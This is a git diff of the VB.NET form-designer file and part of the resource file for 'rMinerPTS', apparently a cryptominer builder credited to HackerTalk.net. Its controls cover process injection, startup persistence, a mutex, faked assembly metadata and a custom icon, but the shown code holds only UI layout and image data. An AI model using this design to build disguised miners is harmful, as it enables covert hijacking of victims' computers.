System.Drawing.Point(4, 44) + Me.pageAssembly.Name = "pageAssembly" + Me.pageAssembly.Padding = New System.Windows.Forms.Padding(3) + Me.pageAssembly.Size = New System.Drawing.Size(494, 295) + Me.pageAssembly.TabIndex = 1 + Me.pageAssembly.Text = "Assembly" + ' + 'btIconBrowse + ' + Me.btIconBrowse.BackColor = System.Drawing.Color.Transparent + Me.btIconBrowse.BaseColor = System.Drawing.Color.RoyalBlue + Me.btIconBrowse.Cursor = System.Windows.Forms.Cursors.Hand + Me.btIconBrowse.Enabled = False + Me.btIconBrowse.Font = New System.Drawing.Font("Segoe UI", 12.0!) + Me.btIconBrowse.Location = New System.Drawing.Point(366, 165) + Me.btIconBrowse.Name = "btIconBrowse" + Me.btIconBrowse.Rounded = False + Me.btIconBrowse.Size = New System.Drawing.Size(106, 32) + Me.btIconBrowse.TabIndex = 20 + Me.btIconBrowse.Text = "Browse" + Me.btIconBrowse.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer)) + ' + 'checkIcon + ' + Me.checkIcon.BackColor = System.Drawing.Color.White + Me.checkIcon.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.checkIcon.BorderColor = System.Drawing.Color.RoyalBlue + Me.checkIcon.Checked = False + Me.checkIcon.Cursor = System.Windows.Forms.Cursors.Hand + Me.checkIcon.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.checkIcon.Location = New System.Drawing.Point(354, 9) + Me.checkIcon.Name = "checkIcon" + Me.checkIcon.Options = hMinerPTS.FlatCheckBox._Options.Style1 + Me.checkIcon.Size = New System.Drawing.Size(21, 22) + Me.checkIcon.TabIndex = 18 + Me.checkIcon.Text = "FlatCheckBox2" + ' + 'Label11 + ' + Me.Label11.AutoSize = True + Me.Label11.Location = New System.Drawing.Point(370, 10) + Me.Label11.Name = "Label11" + Me.Label11.Size = New System.Drawing.Size(114, 19) + Me.Label11.TabIndex = 17 + Me.Label11.Text = "Use Custom Icon" + ' + 'fv4 + ' + Me.fv4.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer)) + Me.fv4.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.fv4.ButtonColor = System.Drawing.Color.RoyalBlue + Me.fv4.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.fv4.ForeColor = System.Drawing.Color.White + Me.fv4.Location = New System.Drawing.Point(235, 241) + Me.fv4.Maximum = CType(9999999, Long) + Me.fv4.Minimum = CType(0, Long) + Me.fv4.Name = "fv4" + Me.fv4.Size = New System.Drawing.Size(65, 30) + Me.fv4.TabIndex = 16 + Me.fv4.Text = "fv4" + Me.fv4.Value = CType(0, Long) + ' + 'fv3 + ' + Me.fv3.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer)) + Me.fv3.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.fv3.ButtonColor = System.Drawing.Color.RoyalBlue + Me.fv3.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.fv3.ForeColor = System.Drawing.Color.White + Me.fv3.Location = New System.Drawing.Point(160, 241) + Me.fv3.Maximum = CType(9999999, Long) + Me.fv3.Minimum = CType(0, Long) + Me.fv3.Name = "fv3" + Me.fv3.Size = New System.Drawing.Size(65, 30) + Me.fv3.TabIndex = 15 + Me.fv3.Text = "fv3" + Me.fv3.Value = CType(0, Long) + ' + 'fv2 + ' + Me.fv2.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer)) + Me.fv2.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.fv2.ButtonColor = System.Drawing.Color.RoyalBlue + Me.fv2.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.fv2.ForeColor = System.Drawing.Color.White + Me.fv2.Location = New System.Drawing.Point(85, 241) + Me.fv2.Maximum = CType(9999999, Long) + Me.fv2.Minimum = CType(0, Long) + Me.fv2.Name = "fv2" + Me.fv2.Size = New System.Drawing.Size(65, 30) + Me.fv2.TabIndex = 14 + Me.fv2.Text = "fv2" + Me.fv2.Value = CType(0, Long) + ' + 'fv1 + ' + Me.fv1.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer)) + Me.fv1.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.fv1.ButtonColor = System.Drawing.Color.RoyalBlue + Me.fv1.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.fv1.ForeColor = System.Drawing.Color.White + Me.fv1.Location = New System.Drawing.Point(10, 241) + Me.fv1.Maximum = CType(9999999, Long) + Me.fv1.Minimum = CType(0, Long) + Me.fv1.Name = "fv1" + Me.fv1.Size = New System.Drawing.Size(65, 30) + Me.fv1.TabIndex = 13 + Me.fv1.Text = "fv1" + Me.fv1.Value = CType(0, Long) + ' + 'Label10 + ' + Me.Label10.AutoSize = True + Me.Label10.Location = New System.Drawing.Point(6, 219) + Me.Label10.Name = "Label10" + Me.Label10.Size = New System.Drawing.Size(82, 19) + Me.Label10.TabIndex = 12 + Me.Label10.Text = "File Version:" + ' + 'pv4 + ' + Me.pv4.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer)) + Me.pv4.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.pv4.ButtonColor = System.Drawing.Color.RoyalBlue + Me.pv4.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.pv4.ForeColor = System.Drawing.Color.White + Me.pv4.Location = New System.Drawing.Point(235, 175) + Me.pv4.Maximum = CType(9999999, Long) + Me.pv4.Minimum = CType(0, Long) + Me.pv4.Name = "pv4" + Me.pv4.Size = New System.Drawing.Size(65, 30) + Me.pv4.TabIndex = 11 + Me.pv4.Text = "pv4" + Me.pv4.Value = CType(0, Long) + ' + 'pv3 + ' + Me.pv3.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer)) + Me.pv3.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.pv3.ButtonColor = System.Drawing.Color.RoyalBlue + Me.pv3.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.pv3.ForeColor = System.Drawing.Color.White + Me.pv3.Location = New System.Drawing.Point(160, 175) + Me.pv3.Maximum = CType(9999999, Long) + Me.pv3.Minimum = CType(0, Long) + Me.pv3.Name = "pv3" + Me.pv3.Size = New System.Drawing.Size(65, 30) + Me.pv3.TabIndex = 10 + Me.pv3.Text = "pv3" + Me.pv3.Value = CType(0, Long) + ' + 'pv2 + ' + Me.pv2.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer)) + Me.pv2.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.pv2.ButtonColor = System.Drawing.Color.RoyalBlue + Me.pv2.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.pv2.ForeColor = System.Drawing.Color.White + Me.pv2.Location = New System.Drawing.Point(85, 175) + Me.pv2.Maximum = CType(9999999, Long) + Me.pv2.Minimum = CType(0, Long) + Me.pv2.Name = "pv2" + Me.pv2.Size = New System.Drawing.Size(65, 30) + Me.pv2.TabIndex = 9 + Me.pv2.Text = "pv2" + Me.pv2.Value = CType(0, Long) + ' + 'pv1 + ' + Me.pv1.BackColor = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(70, Byte), Integer), CType(CType(73, Byte), Integer)) + Me.pv1.BaseColor = System.Drawing.Color.FromArgb(CType(CType(45, Byte), Integer), CType(CType(47, Byte), Integer), CType(CType(49, Byte), Integer)) + Me.pv1.ButtonColor = System.Drawing.Color.RoyalBlue + Me.pv1.Font = New System.Drawing.Font("Segoe UI", 10.0!) + Me.pv1.ForeColor = System.Drawing.Color.White + Me.pv1.Location = New System.Drawing.Point(10, 175) + Me.pv1.Maximum = CType(9999999, Long) + Me.pv1.Minimum = CType(0, Long) + Me.pv1.Name = "pv1" + Me.pv1.Size = New System.Drawing.Size(65, 30) + Me.pv1.TabIndex = 8 + Me.pv1.Text = "pv1" + Me.pv1.Value = CType(0, Long) + ' + 'Label9 + ' + Me.Label9.AutoSize = True + Me.Label9.Location = New System.Drawing.Point(6, 153) + Me.Label9.Name = "Label9" + Me.Label9.Size = New System.Drawing.Size(110, 19) + Me.Label9.TabIndex = 7 + Me.Label9.Text = "Product Version:" + ' + 'tbTitle + ' + Me.tbTitle.BackColor = System.Drawing.Color.Transparent + Me.tbTitle.Location = New System.Drawing.Point(158, 102) + Me.tbTitle.MaxLength = 32767 + Me.tbTitle.Multiline = False + Me.tbTitle.Name = "tbTitle" + Me.tbTitle.ReadOnly = False + Me.tbTitle.Size = New System.Drawing.Size(142, 29) + Me.tbTitle.TabIndex = 6 + Me.tbTitle.Text = "Title" + Me.tbTitle.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.tbTitle.TextColor = System.Drawing.Color.White + Me.tbTitle.UseSystemPasswordChar = False + ' + 'tbCopyright + ' + Me.tbCopyright.BackColor = System.Drawing.Color.Transparent + Me.tbCopyright.Location = New System.Drawing.Point(10, 102) + Me.tbCopyright.MaxLength = 32767 + Me.tbCopyright.Multiline = False + Me.tbCopyright.Name = "tbCopyright" + Me.tbCopyright.ReadOnly = False + Me.tbCopyright.Size = New System.Drawing.Size(142, 29) + Me.tbCopyright.TabIndex = 5 + Me.tbCopyright.Text = "Copyright" + Me.tbCopyright.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.tbCopyright.TextColor = System.Drawing.Color.White + Me.tbCopyright.UseSystemPasswordChar = False + ' + 'tbProduct + ' + Me.tbProduct.BackColor = System.Drawing.Color.Transparent + Me.tbProduct.Location = New System.Drawing.Point(158, 67) + Me.tbProduct.MaxLength = 32767 + Me.tbProduct.Multiline = False + Me.tbProduct.Name = "tbProduct" + Me.tbProduct.ReadOnly = False + Me.tbProduct.Size = New System.Drawing.Size(142, 29) + Me.tbProduct.TabIndex = 4 + Me.tbProduct.Text = "Product" + Me.tbProduct.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.tbProduct.TextColor = System.Drawing.Color.White + Me.tbProduct.UseSystemPasswordChar = False + ' + 'tbCompany + ' + Me.tbCompany.BackColor = System.Drawing.Color.Transparent + Me.tbCompany.Location = New System.Drawing.Point(10, 67) + Me.tbCompany.MaxLength = 32767 + Me.tbCompany.Multiline = False + Me.tbCompany.Name = "tbCompany" + Me.tbCompany.ReadOnly = False + Me.tbCompany.Size = New System.Drawing.Size(142, 29) + Me.tbCompany.TabIndex = 3 + Me.tbCompany.Text = "Company" + Me.tbCompany.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.tbCompany.TextColor = System.Drawing.Color.White + Me.tbCompany.UseSystemPasswordChar = False + ' + 'tbTrademark + ' + Me.tbTrademark.BackColor = System.Drawing.Color.Transparent + Me.tbTrademark.Location = New System.Drawing.Point(158, 32) + Me.tbTrademark.MaxLength = 32767 + Me.tbTrademark.Multiline = False + Me.tbTrademark.Name = "tbTrademark" + Me.tbTrademark.ReadOnly = False + Me.tbTrademark.Size = New System.Drawing.Size(142, 29) + Me.tbTrademark.TabIndex = 2 + Me.tbTrademark.Text = "Trademark" + Me.tbTrademark.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.tbTrademark.TextColor = System.Drawing.Color.White + Me.tbTrademark.UseSystemPasswordChar = False + ' + 'tbDesc + ' + Me.tbDesc.BackColor = System.Drawing.Color.Transparent + Me.tbDesc.Location = New System.Drawing.Point(10, 32) + Me.tbDesc.MaxLength = 32767 + Me.tbDesc.Multiline = False + Me.tbDesc.Name = "tbDesc" + Me.tbDesc.ReadOnly = False + Me.tbDesc.Size = New System.Drawing.Size(142, 29) + Me.tbDesc.TabIndex = 1 + Me.tbDesc.Text = "Description" + Me.tbDesc.TextAlign = System.Windows.Forms.HorizontalAlignment.Left + Me.tbDesc.TextColor = System.Drawing.Color.White + Me.tbDesc.UseSystemPasswordChar = False + ' + 'Label8 + ' + Me.Label8.AutoSize = True + Me.Label8.Location = New System.Drawing.Point(6, 10) + Me.Label8.Name = "Label8" + Me.Label8.Size = New System.Drawing.Size(146, 19) + Me.Label8.TabIndex = 0 + Me.Label8.Text = "Assembly Information:" + ' + 'previewIcon + ' + Me.previewIcon.BackColor = System.Drawing.Color.Gainsboro + Me.previewIcon.Location = New System.Drawing.Point(355, 32) + Me.previewIcon.Name = "previewIcon" + Me.previewIcon.Size = New System.Drawing.Size(128, 128) + Me.previewIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage + Me.previewIcon.TabIndex = 19 + Me.previewIcon.TabStop = False + ' + 'pageBuild + ' + Me.pageBuild.BackColor = System.Drawing.Color.White + Me.pageBuild.Controls.Add(Me.btBuild) + Me.pageBuild.Controls.Add(Me.Label12) + Me.pageBuild.Location = New System.Drawing.Point(4, 44) + Me.pageBuild.Name = "pageBuild" + Me.pageBuild.Size = New System.Drawing.Size(494, 295) + Me.pageBuild.TabIndex = 2 + Me.pageBuild.Text = "Build" + ' + 'btBuild + ' + Me.btBuild.Image = CType(resources.GetObject("btBuild.Image"), System.Drawing.Image) + Me.btBuild.InitialImage = CType(resources.GetObject("btBuild.InitialImage"), System.Drawing.Image) + Me.btBuild.Location = New System.Drawing.Point(126, 47) + Me.btBuild.Name = "btBuild" + Me.btBuild.Size = New System.Drawing.Size(232, 232) + Me.btBuild.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage + Me.btBuild.TabIndex = 1 + Me.btBuild.TabStop = False + ' + 'Label12 + ' + Me.Label12.AutoSize = True + Me.Label12.Font = New System.Drawing.Font("Segoe UI", 15.0!) + Me.Label12.Location = New System.Drawing.Point(80, 10) + Me.Label12.Name = "Label12" + Me.Label12.Size = New System.Drawing.Size(351, 28) + Me.Label12.TabIndex = 0 + Me.Label12.Text = "Press the Button to build miner output." + ' + 'pageAbout + ' + Me.pageAbout.BackColor = System.Drawing.Color.White + Me.pageAbout.Controls.Add(Me.Label18) + Me.pageAbout.Controls.Add(Me.Label17) + Me.pageAbout.Location = New System.Drawing.Point(4, 44) + Me.pageAbout.Name = "pageAbout" + Me.pageAbout.Padding = New System.Windows.Forms.Padding(3) + Me.pageAbout.Size = New System.Drawing.Size(494, 295) + Me.pageAbout.TabIndex = 3 + Me.pageAbout.Text = "About" + ' + 'Label18 + ' + Me.Label18.Location = New System.Drawing.Point(160, 97) + Me.Label18.Name = "Label18" + Me.Label18.Size = New System.Drawing.Size(146, 46) + Me.Label18.TabIndex = 1 + Me.Label18.Text = "Please visit www.HackerTalk.net" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) + ' + 'Label17 + ' + Me.Label17.AutoSize = True + Me.Label17.Location = New System.Drawing.Point(160, 73) + Me.Label17.Name = "Label17" + Me.Label17.Size = New System.Drawing.Size(223, 19) + Me.Label17.TabIndex = 0 + Me.Label17.Text = "Program created by HackerTalk.net" + ' + 'btMinimize + ' + Me.btMinimize.BackColor = System.Drawing.Color.Transparent + Me.btMinimize.BaseColor = System.Drawing.Color.DarkGray + Me.btMinimize.Cursor = System.Windows.Forms.Cursors.Hand + Me.btMinimize.Font = New System.Drawing.Font("Segoe UI", 12.0!) + Me.btMinimize.Location = New System.Drawing.Point(465, 13) + Me.btMinimize.Name = "btMinimize" + Me.btMinimize.Rounded = False + Me.btMinimize.Size = New System.Drawing.Size(18, 18) + Me.btMinimize.TabIndex = 2 + Me.btMinimize.Text = "_" + Me.btMinimize.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer)) + ' + 'FlatClose1 + ' + Me.FlatClose1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) + Me.FlatClose1.BackColor = System.Drawing.Color.White + Me.FlatClose1.BaseColor = System.Drawing.Color.FromArgb(CType(CType(168, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.FlatClose1.Font = New System.Drawing.Font("Marlett", 10.0!) + Me.FlatClose1.Location = New System.Drawing.Point(1009, 12) + Me.FlatClose1.Name = "FlatClose1" + Me.FlatClose1.Size = New System.Drawing.Size(18, 18) + Me.FlatClose1.TabIndex = 1 + Me.FlatClose1.Text = "FlatClose1" + Me.FlatClose1.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer)) + ' + 'Label1 + ' + Me.Label1.BackColor = System.Drawing.Color.RoyalBlue + Me.Label1.Location = New System.Drawing.Point(8, 48) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(575, 1) + Me.Label1.TabIndex = 0 + ' + 'frmMain + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(520, 425) + Me.Controls.Add(Me.FormSkin1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "frmMain" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "rMinerPTS - Welcome" + Me.TransparencyKey = System.Drawing.Color.Fuchsia + Me.FormSkin1.ResumeLayout(False) + Me.FlatTabControl1.ResumeLayout(False) + Me.pageMain.ResumeLayout(False) + Me.pageMain.PerformLayout() + Me.pageAssembly.ResumeLayout(False) + Me.pageAssembly.PerformLayout() + CType(Me.previewIcon, System.ComponentModel.ISupportInitialize).EndInit() + Me.pageBuild.ResumeLayout(False) + Me.pageBuild.PerformLayout() + CType(Me.btBuild, System.ComponentModel.ISupportInitialize).EndInit() + Me.pageAbout.ResumeLayout(False) + Me.pageAbout.PerformLayout() + Me.ResumeLayout(False) + + End Sub + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents FormSkin1 As hMinerPTS.FormSkin + Friend WithEvents statusBar As hMinerPTS.FlatStatusBar + Friend WithEvents FlatTabControl1 As hMinerPTS.FlatTabControl + Friend WithEvents pageMain As System.Windows.Forms.TabPage + Friend WithEvents btReset As hMinerPTS.FlatButton + Friend WithEvents btHelp As hMinerPTS.FlatButton + Friend WithEvents tbMutex As hMinerPTS.FlatTextBox + Friend WithEvents checkMutex As hMinerPTS.FlatCheckBox + Friend WithEvents tbStartup As hMinerPTS.FlatTextBox + Friend WithEvents checkStartup As hMinerPTS.FlatCheckBox + Friend WithEvents Label6 As System.Windows.Forms.Label + Friend WithEvents comboInject As hMinerPTS.FlatComboBox + Friend WithEvents Label5 As System.Windows.Forms.Label + Friend WithEvents tbPass As hMinerPTS.FlatTextBox + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents tbWorker As hMinerPTS.FlatTextBox + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents tbURL As hMinerPTS.FlatTextBox + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents Label7 As System.Windows.Forms.Label + Friend WithEvents pageAssembly As System.Windows.Forms.TabPage + Friend WithEvents btIconBrowse As hMinerPTS.FlatButton + Friend WithEvents checkIcon As hMinerPTS.FlatCheckBox + Friend WithEvents Label11 As System.Windows.Forms.Label + Friend WithEvents fv4 As hMinerPTS.FlatNumeric + Friend WithEvents fv3 As hMinerPTS.FlatNumeric + Friend WithEvents fv2 As hMinerPTS.FlatNumeric + Friend WithEvents fv1 As hMinerPTS.FlatNumeric + Friend WithEvents Label10 As System.Windows.Forms.Label + Friend WithEvents pv4 As hMinerPTS.FlatNumeric + Friend WithEvents pv3 As hMinerPTS.FlatNumeric + Friend WithEvents pv2 As hMinerPTS.FlatNumeric + Friend WithEvents pv1 As hMinerPTS.FlatNumeric + Friend WithEvents Label9 As System.Windows.Forms.Label + Friend WithEvents tbTitle As hMinerPTS.FlatTextBox + Friend WithEvents tbCopyright As hMinerPTS.FlatTextBox + Friend WithEvents tbProduct As hMinerPTS.FlatTextBox + Friend WithEvents tbCompany As hMinerPTS.FlatTextBox + Friend WithEvents tbDesc As hMinerPTS.FlatTextBox + Friend WithEvents Label8 As System.Windows.Forms.Label + Friend WithEvents previewIcon As System.Windows.Forms.PictureBox + Friend WithEvents pageBuild As System.Windows.Forms.TabPage + Friend WithEvents btBuild As System.Windows.Forms.PictureBox + Friend WithEvents Label12 As System.Windows.Forms.Label + Friend WithEvents btMinimize As hMinerPTS.FlatButton + Friend WithEvents FlatClose1 As hMinerPTS.FlatClose + Friend WithEvents FlatClose2 As hMinerPTS.FlatClose + Friend WithEvents Label15 As System.Windows.Forms.Label + Friend WithEvents checkPercent As hMinerPTS.FlatCheckBox + Friend WithEvents Label14 As System.Windows.Forms.Label + Friend WithEvents nThreads As hMinerPTS.FlatNumeric + Friend WithEvents Label13 As System.Windows.Forms.Label + Friend WithEvents Label16 As System.Windows.Forms.Label + Friend WithEvents checkDebug As hMinerPTS.FlatCheckBox + Friend WithEvents tbTrademark As hMinerPTS.FlatTextBox + Friend WithEvents pageAbout As System.Windows.Forms.TabPage + Friend WithEvents Label18 As System.Windows.Forms.Label + Friend WithEvents Label17 As System.Windows.Forms.Label + +End Class diff --git a/scode (rMinerPTS/rMinerPTS/Forms/frnMain.resx b/scode (rMinerPTS/rMinerPTS/Forms/frnMain.resx new file mode 100644 index 0000000..ad8d93c --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/Forms/frnMain.resx @@ -0,0 +1,6654 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 